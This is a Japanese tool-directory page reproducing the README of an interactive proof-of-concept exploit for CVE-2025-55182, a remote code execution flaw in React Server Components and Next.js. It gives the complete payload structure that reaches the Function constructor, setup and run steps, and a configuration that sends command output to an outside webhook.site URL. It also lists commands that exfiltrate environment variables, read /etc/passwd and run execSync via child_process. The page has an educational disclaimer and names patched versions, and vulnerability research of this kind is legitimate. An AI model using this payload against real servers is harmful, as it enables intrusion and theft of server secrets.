Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/nathanj60/react2shell-interactive
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール学習と教育リモートアクセスツールペイロード開発
GitHubnathanj60/react2shell-interactive

react2shell-interactive

CVE-2025-55182 インタラクティブ PoC - React Server Components RCE - 教育的セキュリティ研究

リポジトリを見る
8ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

React2Shell - CVE-2025-55182 対話型PoC

React Server Components のリモートコード実行脆弱性 CVE-2025-55182 を悪用するための対話型シェルです。

免責事項

このツールは教育目的および許可されたセキュリティテストのためにのみ提供されています。

  • 自分が所有しているシステム、または書面による明示的な許可を得たシステムでのみ使用してください
  • コンピュータシステムへの不正アクセスは違法行為です
  • 作者は本ツールの誤用について一切の責任を負いません
  • これはセキュリティ研究と啓発のための概念実証です

脆弱性の概要

CVE-2025-55182 は以下のバージョンの React Server Components (RSC) に影響します:

  • Next.js < 15.1.7, < 14.2.29, < 13.5.9
  • Waku (複数のバージョン)

この脆弱性により、Server Actions に送信された悪意のあるペイロードを通じてリモートコード実行 (RCE) が可能になります。

動作の仕組み

  1. RSC プロトコルは $@x 構文を使用して内部の Chunk オブジェクトを参照します
  2. JavaScript は .then() メソッドを持つオブジェクトを自動的にアンラップします (Promise ライク)
  3. 制御された _response、_formData、_prefix プロパティを持つ悪意のあるペイロードを作成することで
  4. 攻撃者はプロトタイプチェーンをたどって Function コンストラクタに到達できます
  5. これによりサーバー上で任意の JavaScript が実行可能になります
root@kitploit:~
$3:constructor:constructor → Function コンストラクタ → RCE

インストール

root@kitploit:~
git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm install

設定

exploit.js を編集し、次の値を更新してください:

root@kitploit:~
const TARGET_URL = 'http://localhost:3000/'          // 脆弱な Next.js サーバー
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID'   // あなたの Webhook URL

無料の Webhook は https://webhook.site で取得できます。

使用方法

root@kitploit:~
node exploit.js

コマンド

セッション例

root@kitploit:~
react2shell> !test
[+] 送信しました!Webhook を確認してください

react2shell> whoami
[+] 送信しました: whoami

react2shell> ls -la
[+] 送信しました: ls -la

react2shell> !env
[+] 送信しました!環境変数については Webhook を確認してください

結果はターミナルではなく、Webhook に表示されます。

技術的な詳細

ペイロード構造

root@kitploit:~
{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': '<JAVASCRIPT_CODE>//',
        '_formData': { 'get': '$3:constructor:constructor' },
        '_chunks': '$2:_response:_chunks'
    }
}

実行フロー

  1. ペイロードは next-action ヘッダー付きのマルチパートフォームデータとして送信されます
  2. React Flight パーサーがチャンクを処理します
  3. $@3 が Chunk 参照を作成します
  4. $3:constructor:constructor が Function にたどり着きます
  5. _prefix の内容が Function() に渡され実行されます

Next.js 15+ に関する注意事項

  • ESM モジュールを使用しているため、require() は利用できません
  • 代わりに動的 import() を使用してください:
    root@kitploit:~
    import("child_process").then(cp => cp.execSync("whoami"))
    

パッチ適用済みバージョン

脆弱性を修正するには、以下のバージョンにアップデートしてください:

  • Next.js >= 15.1.7
  • Next.js >= 14.2.29
  • Next.js >= 13.5.9

参考情報

  • React2Shell 公式サイト
  • Google Tsunami Scanner プラグイン

ライセンス

MIT ライセンス - 教育目的のみ。

作者

セキュリティ研究 PoC - 責任を持って使用してください。

ツールをダウンロード
コマンド説明
!testエクスプロイトが動作するかテストします(確認を Webhook に送信)
!env環境変数を流出させます (process.env)
!js <code>カスタム JavaScript を実行します
!helpヘルプを表示します
!exit終了します
<command>シェルコマンドを実行します(例:whoami、ls、cat /etc/passwd)